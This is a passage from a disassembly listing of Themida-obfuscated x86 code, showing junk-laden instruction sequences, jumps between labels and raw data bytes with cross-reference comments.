		dd 7C46EF81h, 96C78166h, 0C87FE93Ch, 0F181FFFFh, 0CC0482C5h
		dd 0C159CF01h, 8EE907EFh, 81000035h, 6640D0EAh,	50D2F74Fh
		dd 0F6750B8h, 58C20103h, 815AD389h, 0A50339EBh,	8BD829CAh
		dd 0C483241Ch, 40DB2D04h, 67357B74h, 0E9241D58h, 0FFFFCA36h
; ---------------------------------------------------------------------------


loc_58CC94:				; CODE XREF: Themida_:00593B36j
		mov	ch, 3Ah
		jmp	loc_592F5B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0D8009A04h, 4EC81h, 14890000h, 7829E924h, 74FF0000h
		dd 0CDE90424h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CCB7:				; CODE XREF: Themida_:00591E3Fj
		xor	ebp, edi
		sub	ebp, 0A91EA83Ch
		and	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_591D5D
; ---------------------------------------------------------------------------
		dd 8106E1C1h, 19500AE1h, 19F5E96Fh, 0D2F70000h,	0EA814A42h
		dd 41B13A7h, 5FE9D301h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CCEB:				; CODE XREF: Themida_:0058FA93j
		sub	ebx, 265A6390h
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1DD80703h
		jmp	loc_58E18E
; ---------------------------------------------------------------------------
		db 0ACh
		dd 66AD6866h, 240C8966h, 3DF6E9h, 81685200h, 0E9000031h
		dd 0FFFFFD90h, 4C181h, 0C870000h, 743AE924h, 0FD310000h
		dd 81EDD15Fh, 0EA153BC5h, 7EDC175h, 4CC96850h, 0E9587503h
		dd 15CCh, 0BE56575Eh, 76631897h, 25E9F789h, 100001Fh, 2BC581C5h
		dd 0E9564478h, 8BFCh, 3E7C166h,	0D2CF8166h, 1BB5E95Dh
		dd 68660000h, 37E97F00h, 81000019h, 1F6CB4E5h, 0FFED8318h
		dd 56BDBB53h, 0F7532499h, 0E95B241Ch, 82D3h
; ---------------------------------------------------------------------------


loc_58CD90:				; CODE XREF: Themida_:0058B0EEj
		mov	dh, 8Dh
		mov	ch, 0CBh
		dec	ch
		jmp	loc_58BB9C
; ---------------------------------------------------------------------------
		db 0FEh
aS?		db 'Æé°?',0
		align 2


loc_58CDA2:				; CODE XREF: Themida_:00589B70j
		add	ecx, esi
		pop	esi
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		jmp	loc_59376A
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 5A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_58CDB9:				; CODE XREF: Themida_:0058EC34j
		mov	esi, 1FF2779Eh
		inc	esi
		jmp	loc_58E8C3
; ---------------------------------------------------------------------------
		dd 0E9D3015Fh, 2F70h
; ---------------------------------------------------------------------------


loc_58CDCC:				; CODE XREF: Themida_:00594771j
		mov	bl, 67h
		xor	bl, 60h
		sub	bl, 0CAh
		mov	cl, bl
		jmp	loc_5947C7
; ---------------------------------------------------------------------------
		db 83h
		dd 348704EEh, 70E95C24h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CDE7:				; CODE XREF: Themida_:0058CB60j
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_58BD17
; ---------------------------------------------------------------------------


loc_58CDF9:				; CODE XREF: Themida_:00593C6Aj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58A1A9
; ---------------------------------------------------------------------------
		db 81h
		dd 0F552E5EDh, 4C58122h, 892DDC57h, 2A685DE9h, 89000072h
		dd 52E9243Ch, 30000019h, 240C8BC8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59479C
; ---------------------------------------------------------------------------
		dd 592434FFh, 0E904EC83h, 0EB6h, 80C5FE58h, 0CDFEC4CDh
		dd 8047C580h, 0B753FFC5h, 65AFE93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CE5E:				; CODE XREF: Themida_:00591BADj
		and	eax, esi
		jmp	loc_592E15
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 4ED835Ch, 5C242C87h,	0B9240C89h, 0FFFFFBFFh,	591C4F21h
		dd 0FFC5E1E9h, 0BE5658FFh, 4, 555EF001h, 4BDh, 0BD555600h
		dd 4A3635F7h, 0CF73ACBEh, 8BEE3113h, 0A2E9242Ch, 87000052h
		dd 665C2414h, 8124048Bh, 4ECh, 241C8900h, 0BD55E389h, 72D1439Eh
		dd 55E9D5F7h, 5800008Ah, 4247401h, 0E981595Eh, 24B040C8h
		dd 58C1315Bh, 7A7FC281h, 0CA0114C7h, 7A7FEA81h,	525914C7h
		dd 42474FFh, 24048F5Ah,	0C8F0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CEF6:				; CODE XREF: Themida_:0058A2FAj
		add	edi, 85ED54DCh
		mov	esi, edi
		pop	edi
		add	esi, 1C056CC6h
		add	esi, eax
		jmp	loc_590536
; ---------------------------------------------------------------------------
		dd 4B8h, 0E9C30100h, 134Fh
; ---------------------------------------------------------------------------


loc_58CF18:				; CODE XREF: Themida_:0058D029j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	6E8Dh
		mov	[esp], ebx
		jmp	loc_58BBE3
; ---------------------------------------------------------------------------


loc_58CF2D:				; CODE XREF: Themida_:005957BCj
		sub	edx, 0D834E826h
		sub	eax, 1F2D3078h
		add	eax, edx
		add	eax, 1F2D3078h
		pop	edx
		pop	edx
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 15F13B86h
		pop	eax
		push	ebx
		jmp	loc_58E0E3
; ---------------------------------------------------------------------------
		dd offset dword_60B768
		dw 0E900h
		dd 4039h, 240C8B66h, 0FFE95DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CF65:				; CODE XREF: Themida_:00590297j
		idiv	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58F27D
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0CBE78105h, 0C171F90Bh, 0EF8107E7h, 75145D24h, 75CAE9h
		dd 0C4D4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CF8E:				; CODE XREF: Themida_:0059014Cj
		shr	dh, 5
		or	dh, 6Dh
		push	eax
		mov	al, dh
		not	al
		jmp	loc_592A3E
; ---------------------------------------------------------------------------
		dw 5159h
		dd 0F31345B9h, 502AE93Ah, 0EB800000h, 0B8B551CDh, 0ED80C5FEh
		dd 404DE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CFBA:				; CODE XREF: Themida_:0058EFF0j
		add	eax, 4
		jmp	loc_594CD4
; ---------------------------------------------------------------------------
		dd 24048B66h, 5577E953h, 4050000h, 0E9000000h, 0FFFFE284h
		dd 187ABB53h, 0DE01FFDAh, 1CC6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CFE6:				; CODE XREF: Themida_:0059306Dj
		mov	esi, esp
		push	eax
		jmp	loc_593D42
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 2434FFDEh, 4C4835Bh,	2C681h,	34330000h, 24343124h, 8B243433h
		dd 66642424h, 4FE90289h, 0FEFFFFC4h, 42EB80C3h,	885BDC30h
		dd 46E958E2h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D023:				; CODE XREF: Themida_:0058C941j
		sub	ecx, 0D806BEFh
		jmp	loc_58CF18
; ---------------------------------------------------------------------------


loc_58D02E:				; CODE XREF: Themida_:00589D67j
		mov	[esp], esi
		mov	esi, 7EF01E38h
		dec	esi
		inc	esi
		sub	esi, 2548653h
		sub	edi, 56532A0Fh
		sub	edi, esi
		add	edi, 56532A0Fh
		pop	esi
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	629Fh
		mov	[esp], ebp
		mov	ebp, 5A912139h
		add	ebp, 0FFFFFFFFh
		jmp	loc_58B8F2
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E904C483h, 4AA9h, 5AED68h, 24148900h, 0FFFF04E9h, 0C5815DFFh
		dd 4, 8704C583h, 5C242Ch, 0E196E9C3h, 0D3F7FFFFh, 3702F381h
		dd 0E943541Ch, 0E88h, 55240C8Bh, 0BB535D54h, 6A6C56E7h
		dd 761E951h, 0B5B20000h, 0C044B353h, 0F38008EBh, 5BD828DBh
		dd 73F1E9h, 4BE00h, 0A9E90000h,	66000053h, 6655ABB8h, 0B2056648h
		dd 66406607h, 66097B05h, 0FCE9C709h, 5EFFFFCEh,	0F61E681h
		dd 0F6811CACh, 4D087641h, 0C681DEF7h, 64F4B399h, 0A9E9F089h
		dd 0B3000076h, 2E38051h, 5246E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D115:				; CODE XREF: Themida_:00592A0Fj
		and	eax, 5855519Eh
		shl	eax, 5
		push	ebx
		mov	ebx, 0CDD39A8h
		not	ebx
		sub	ebx, 217B210Dh
		or	ebx, 1F8E46A9h
		sub	ebx, 1638519Bh
		or	ebx, 238B5C7Dh
		push	edi
		jmp	loc_59240A
; ---------------------------------------------------------------------------


loc_58D143:				; CODE XREF: Themida_:0058F806j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_58A991
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0A9h
		dd 0E91EED80h, 623h, 83240C8Bh,	3C8704C4h, 24248B24h, 24148966h
		dd 18CAE9h, 2BE5600h, 1000000h,	24348BF0h, 3F5CE9h, 48F5A00h
		dd 89665C24h, 50662414h, 0C2D0E99Ch, 0DEB1FFFFh, 28A1F180h
		dd 0E68059CEh, 10F68044h, 0E93BEB80h, 7702h, 0FF2434FFh
		dd 48B2434h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 5024248Bh, 405E089h,	0E9000000h, 2674h, 4EC81h, 3C890000h
		dd 73C8E924h, 2B80000h,	1000000h, 24048BC3h, 5304C483h
		dd 42474FFh, 59ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D1F5:				; CODE XREF: Themida_:0058B1D9j
		push	eax
		mov	eax, 6CDD3A69h
		jmp	loc_58A59C
; ---------------------------------------------------------------------------


loc_58D200:				; CODE XREF: Themida_:0058FE49j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6BABh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_58AA2B
; ---------------------------------------------------------------------------


loc_58D22A:				; CODE XREF: Themida_:005908FCj
		pop	ecx
		push	114Eh
		mov	[esp], edi
		push	ebp
		jmp	loc_58F1AD
; ---------------------------------------------------------------------------
		db 0E9h, 24h, 0C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D23E:				; CODE XREF: Themida_:00594FAFj
		push	639Fh
		jmp	loc_592982
; ---------------------------------------------------------------------------


loc_58D248:				; CODE XREF: Themida_:0058B405j
		push	edi
		push	ebx
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	798h
		mov	[esp], eax
		jmp	loc_58EBAF
; ---------------------------------------------------------------------------


loc_58D261:				; CODE XREF: Themida_:00589CEFj
		push	edx
		push	41E02249h
		pop	edx
		push	1836h
		jmp	loc_592E2B
; ---------------------------------------------------------------------------
		dw 0E6C0h
		dd 4FF3E908h, 0EE810000h, 0E223E172h, 28C0C581h, 0ED8171D1h
		dd 752F5085h, 5259E9h, 5EF38900h, 875BDE01h, 0C8E92434h
		dd 0FF000080h, 34FF2434h, 0EC835824h, 24148904h, 0BE56E289h
		dd 4, 45CBEA81h, 0F20130A6h, 45CBC281h,	815E30A6h, 4ECh
		dd 240C8900h, 378FE9h, 4EB8100h, 53000000h, 42474FFh, 24048F5Bh
		dd 243C895Ch, 5155E789h, 7E90E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D2ED:				; CODE XREF: Themida_:0058B37Dj
		add	ecx, eax
		jmp	loc_58DE99
; ---------------------------------------------------------------------------
		dd 0E959CF01h, 1F89h
; ---------------------------------------------------------------------------


loc_58D2FC:				; CODE XREF: Themida_:0059552Bj
		pop	eax
		xor	eax, 5842360Eh
		or	eax, eax
		jnz	loc_58A997
		push	ecx
		push	1
		pop	ecx
		mov	edx, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	599Ah
		jmp	loc_58D5FA
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C31h, 66240C33h, 0E9240C31h, 0FFFFC5F3h, 0CB82E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D33A:				; CODE XREF: Themida_:0058F8EFj
		xor	esi, 749F4E9Ah
		xor	ecx, esi
		pop	esi
		xor	ecx, 1C2947FEh
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_589686
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 7A1E9h, 5AD30100h, 3302C383h, 1C31241Ch, 241C3324h
		dd 3824248Bh, 42E99CC1h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D37F:				; CODE XREF: Themida_:00591998j
		push	ebp
		push	6A7Eh
		mov	[esp], ebx
		jmp	loc_58C741
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 68h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D393:				; CODE XREF: Themida_:005900D6j
		push	esp
		jmp	loc_58BED9
; ---------------------------------------------------------------------------
		db 31h,	0E9h, 5Dh
		dd 2666BB53h, 0E38144C7h, 0BBB0951h, 791DC381h,	4343069Ch
		dd 0C9AF381h, 0D92958A4h, 8BCE895Bh, 0C483240Ch, 5FFE0104h
		dd 348BF029h, 86E95524h, 8700000Ch, 875C241Ch, 248B240Ch
		dd 66F9F624h, 0E9CCB60Fh, 7AA4h, 0E92434FFh, 77E4h, 35D0F740h
		dd 0B624503h, 0FFF455E9h, 6DBD55FFh, 0E901CC53h, 158Ch
		dd 0E981D9F7h, 8474EF44h, 8159CB01h, 4EBh, 241C3300h, 33241C31h
		dd 895C241Ch, 5B62414h,	90F680h, 89505AF0h, 405E0h, 0E8830000h
		dd 0D0C5E904h, 0E958FFFFh, 0FFFFFA25h, 0CDE95150h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D447:				; CODE XREF: Themida_:005933B3j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		rep movsd
		jmp	loc_594D66
; ---------------------------------------------------------------------------


loc_58D459:				; CODE XREF: Themida_:0058EF0Cj
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, 0D806BEFh
		jmp	loc_58C93F
; ---------------------------------------------------------------------------


loc_58D470:				; CODE XREF: Themida_:005915BCj
		mov	esp, [esp]
		jmp	loc_58B443
; ---------------------------------------------------------------------------
		dd 242C8B5Ah, 0B804C483h, 2CE641F7h, 0A14F8505h, 5AD02937h
		dd 0FFDBDFE9h, 0DAF75FFFh, 974EA81h, 0BF576D55h, 37D13AEFh
		dd 0E95FFA29h, 5A67h, 24048B66h, 704068h, 240C8900h, 4B72E954h
		dd 0A3E90000h, 0FFFFFFBFh, 8B042474h, 0C483240Ch, 24048F04h
		dd 0C11DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D4D2:				; CODE XREF: Themida_:00593DE2j
		sub	[esp], eax
		add	dword ptr [esp], 79D54028h
		push	eax
		mov	eax, 6B7945B9h
		jmp	loc_595606
; ---------------------------------------------------------------------------
		db 55h
		dd 63FD68h, 3953E900h, 2C890000h, 39BF5724h, 890F3F50h
		dd 6C315FFDh, 0ACE90424h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D507:				; CODE XREF: Themida_:00595723j
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_593BA5
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 0FFh
		dd 81DAF742h, 510C32C2h, 7CABE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D522:				; CODE XREF: Themida_:0058BA51j
		xchg	edi, ecx
		xchg	eax, ecx
		jmp	loc_58E172
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2C681h, 0E9560000h, 59A7h, 24148B66h, 2C481h, 0E7800000h
		dd 0E81FE95Eh, 0DD01FFFFh, 2C5815Bh, 0E9000000h, 0FFFFF3F2h
; ---------------------------------------------------------------------------


loc_58D55C:				; CODE XREF: Themida_:0058F7F5j
		xchg	ebp, [esp]
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5926B1
; ---------------------------------------------------------------------------


loc_58D56B:				; CODE XREF: Themida_:005906F3j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_589EAB
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 0ECBB5300h,	0E964BF04h, 1E0Eh, 8101C383h
		dd 483554C3h, 0CFE38147h, 812CAC34h, 8C024DC3h,	0E7C3811Eh
		dd 89BCF3DCh, 0DCA4E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D5B2:				; CODE XREF: Themida_:0059088Aj
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, ebx
		jmp	loc_58BAC0
; ---------------------------------------------------------------------------
		dd 240C8B66h, 52E08950h, 4BAh, 4750E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D5D6:				; CODE XREF: Themida_:0058C86Cj
		pop	edx
		neg	edi
		xor	edi, 9DDBB86Ch
		sub	edx, edi
		pop	edi
		pop	ebx
		jmp	loc_591BDF
; ---------------------------------------------------------------------------


loc_58D5E8:				; CODE XREF: Themida_:00594C95j
		mov	eax, ebx
		jmp	loc_5897F0
; ---------------------------------------------------------------------------
		db 51h
		dd 0A65FBCB9h, 1437E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D5FA:				; CODE XREF: Themida_:0058D31Ej
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5938DE
; ---------------------------------------------------------------------------
aTzshr		db 'TZéhr',0
		align 2
		dw 0EB81h
		dd 15B2543Dh, 0FFD423E9h, 5166ACFFh, 52EFB652h,	89B5A8B6h
		dd 148BF528h, 4C48324h,	6FDFE9h, 8BD10100h, 0C4832414h
		dd 518CE904h, 0DF010000h, 0E9241C8Bh, 0FFFFD5DDh, 7F68D830h
		dd 89000021h, 3AE9240Ch, 0B000048h, 44840FC0h, 68FFFFEAh
		dd 1E18h, 6761E9h, 4C68300h, 2474FF56h,	48F5E04h, 89525C24h
		dd 4C281E2h, 56000000h,	4BD55h,	0B3E90000h, 8BFFFFD5h
		dd 8953242Ch, 4C381E3h,	56000000h, 4BEh, 7492E900h, 11880000h
		dd 0B7E95B59h, 5FFFFBDh, 74597374h, 5CEB815Bh, 29411274h
		dd 5CC381C3h, 58411274h, 7659BF57h, 0BD557139h,	7D4B63C7h
		dd 0C103EDC1h, 0ED8102EDh, 8A2EE6B6h, 51C1E9h, 19EA8100h
		dd 0E9F14867h, 1C7Bh
; ---------------------------------------------------------------------------


loc_58D6E8:				; CODE XREF: Themida_:0058EC94j
		add	edx, 1A6C3AF0h
		pop	eax
		jmp	loc_594B87
; ---------------------------------------------------------------------------


loc_58D6F4:				; CODE XREF: Themida_:00590BACj
		and	eax, 2CDE506Ah
		xor	eax, 28860004h
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------
		dw 5954h
		dd 2EF6B850h, 0BF577531h, 0
		dd 5F97C729h, 0CED1062Dh, 2DBB538Ah, 4B4CD761h,	7DD4B951h
		dd 4FE95CA7h, 8000003Dh, 0C68023C6h, 8146E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D74A:				; CODE XREF: Themida_:0058E08Cj
		pop	esi
		or	esi, 784503BAh
		sub	esi, 0FFFFFFFFh
		push	78AFh
		mov	[esp], ebp
		mov	ebp, 181A3702h
		push	eax
		mov	eax, 442F14E0h
		jmp	loc_5895BF
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 34FF0000h, 0FE95A24h, 28000056h
		dd 148B59E8h, 4C48124h,	68000000h, 1D70h, 0B6241489h, 285668F4h
		dd 21E90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D79F:				; CODE XREF: Themida_:0058E440j
		push	31A07B9Fh
		mov	edi, [esp]
		add	esp, 4
		add	edi, 506C581Ch
		not	edi
		sub	edi, 81F83487h
		jmp	loc_58AF48
; ---------------------------------------------------------------------------
		db 1, 0C2h, 81h
		dd 135EFFC2h, 0E3685828h, 89000020h, 4BD242Ch, 81000000h
		dd 0A66170C2h, 0EC3FE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D7DE:				; CODE XREF: Themida_:0058E8CFj
		sub	ebx, eax
		pop	eax
		xor	ebx, 4A30462Ch
		not	ebx
		jmp	loc_594A90
; ---------------------------------------------------------------------------


loc_58D7EE:				; CODE XREF: Themida_:0058B4F1j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1EEE4914h
		shl	ebx, 2
		push	esi
		mov	esi, 0E4A3FDBh
		jmp	loc_58F23D
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 0DFF8E95Eh, 47E9FFFFh, 0B9FFFFBCh, 1D9D3020h, 545FF181h
		dd 21E91B63h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D82B:				; CODE XREF: Themida_:00592D47j
		pop	eax
		jmp	loc_590721
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 0FFFE30E9h, 0C8B66FFh, 0E7895724h, 0FFDE54E9h, 58E728FFh
		dd 0B4505266h, 0DF89E974h, 0EEC1FFFFh, 9C68103h, 0E92CA189h
		dd 2F24h, 4C281h, 14870000h, 0EC815C24h, 4, 0BD242C89h
		dd 0F5855A9h, 2C8BE829h, 0E1895124h, 25C9E9h, 24248B00h
		dd 5A18E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D88D:				; CODE XREF: Themida_:0058BF65j
		mov	eax, [esp]
		jmp	loc_595667
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 1417E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D89D:				; CODE XREF: Themida_:0058BB6Ej
		add	esp, 4
		push	ebx
		mov	ebx, 41EA6C66h
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58E7C2
; ---------------------------------------------------------------------------
		db 4Ah,	0C1h, 0EAh
		dd 0DD5EE905h, 34FFFFFFh, 2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A525
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 4E474562h, 0BB53DD01h, 7DF25837h, 4C07E9h, 4B900h, 4C010000h
		dd 8B590424h, 0C483240Ch, 4BD5504h, 81000000h, 0AE0AAEE9h
		dd 81E90120h, 0AE0AAEC1h, 242C8B20h, 4C481h, 0C1810000h
		dd 2, 569068h, 240C8900h, 42474FFh, 0E4AEE959h,	28FFFFFh
		dd 0FFBB1DE9h, 8952ADFFh, 4C281E2h, 81000000h, 4EAh, 0EAE95200h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D95B:				; CODE XREF: Themida_:0058A12Fj
		or	edx, 3CF863E9h
		xor	edx, 6CBA5392h
		mov	esi, edx
		jmp	loc_593FA7
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0A053D4F3h, 0EEF3817Fh, 8132092Bh, 0B9EF67C3h, 8BD801C3h
		dd 8950241Ch, 405E0h, 0C0830000h, 3FE95004h, 81FFFFC1h
		dd 0F758D0EDh, 87F5817Dh, 319EC9F3h, 0FB895DEFh, 8B2434FFh
		dd 0C483243Ch, 4C48104h, 31000000h, 2434FFD8h, 0FFCA10E9h
		dd 0E98159FFh, 61E95877h, 59CA015Bh, 4A42E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D9D2:				; CODE XREF: Themida_:005899A1j
		mov	[esp], ecx
		pop	eax
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58E662
; ---------------------------------------------------------------------------
		dd 0FFBA5DE9h, 0E95966FFh, 6E71h, 4BFh,	0E9FA0100h, 4EF9h
		dd 34FF5A66h, 240C8B24h, 4C481h, 0C4810000h, 4,	4EC81h
		dd 1C890000h, 80E6B324h, 0B15169F3h, 1939E977h,	0C2810000h
		dd 4, 4EA81h, 14870000h, 0C9DE924h, 0E4C00000h,	0E9C4FE04h
		dd 0FE3h, 1DFCED81h, 0EB010658h, 4C3835Dh, 0FFE1B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DA71:				; CODE XREF: Themida_:0058A0EBj
		sub	esp, 4
		mov	[esp], eax
		push	esi
		jmp	loc_591FFF
; ---------------------------------------------------------------------------


loc_58DA80:				; CODE XREF: Themida_:0058A0CCj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, ax
		push	1049h
		mov	[esp], ecx
		jmp	loc_589462
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9525AF1h, 2119h, 8B24048Fh, 0EC832424h, 24348904h
		dd 2DD9BF57h, 69683ED5h, 89000035h, 5668240Ch, 8B1AE27Fh
		dd 0C481240Ch, 4, 0FFFFE981h, 0E981FFFFh, 7E5542DDh, 0E7FBD55h
		dd 0E94D2598h, 0FFFFEFB9h, 1B99685Ch, 0C890000h, 786D6824h
		dd 14890000h, 8840B224h, 0B1515AD1h, 54B7E9E2h,	24890000h
		dd 0D5FCE924h, 8B66FFFFh, 89572404h, 15B951E7h,	83642F6Dh
		dd 3C8904ECh, 79B2BF24h, 0F9297280h, 4EC835Fh, 0E9243C89h
		dd 0FFFFE415h, 0E904C483h, 0FFFFB926h
; ---------------------------------------------------------------------------


loc_58DB3C:				; CODE XREF: Themida_:0058FCD6j
		pop	ebp
		sub	edi, 465C290Ah
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 12343C22h
		sub	ebp, 180B54B3h
		sub	ebp, 0FA28E76Bh
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	7F00h
		mov	[esp], edx
		mov	edx, 24h
		add	edx, 416F1FB2h
		sub	edx, 43CD3068h
		add	edx, edi
		add	edx, 43CD3068h
		push	esi
		jmp	loc_58FAB0
; ---------------------------------------------------------------------------


loc_58DB9A:				; CODE XREF: Themida_:00589D03j
		sub	esp, 4
		jmp	loc_58F1BB
; ---------------------------------------------------------------------------


loc_58DBA2:				; CODE XREF: Themida_:00592A65j
		xor	dh, bl
		jmp	loc_58DEE7
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0D2h
		dd 5FFFFD0h, 2,	81E28952h, 4C2h, 4EA8100h, 0E9000000h
		dd 19CEh, 64DC68h, 24348900h, 960B3BBEh, 0E9F23106h, 0FFFFE8C7h
; ---------------------------------------------------------------------------


loc_58DBDC:				; CODE XREF: Themida_:00589E3Fj
		inc	dh
		jmp	loc_590140
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0DF5FE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DBEA:				; CODE XREF: Themida_:0058C245j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_58E4FA
; ---------------------------------------------------------------------------


loc_58DBF5:				; CODE XREF: Themida_:00590DBFj
		add	edx, 4
		jmp	loc_59542D
; ---------------------------------------------------------------------------


loc_58DBFD:				; CODE XREF: Themida_:0058E45Ej
		add	esp, 4
		jmp	loc_58C9BC
; ---------------------------------------------------------------------------
		dd 0F500FDB5h, 34B3535Ah, 303CB050h, 0DD2058C3h, 0E9C5FE5Bh
		dd 0FFFFE020h, 6D0986B8h, 57E94021h, 66FFFFBCh,	0E9241489h
		dd 867h, 68C3315Dh, 1C4Ch, 88FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58DC41:				; CODE XREF: Themida_:0058E15Dj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_59103A
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
aS@		db '$\éÊ@',0
		dw 0D100h
		dd 0C7EB81EBh, 29E49D07h, 0B9515BDAh, 4E7E465Dh, 197DB850h
		dd 0C2291B87h, 0C5DAE958h, 0EF2DFFFFh, 12699DEh, 0E80958C5h
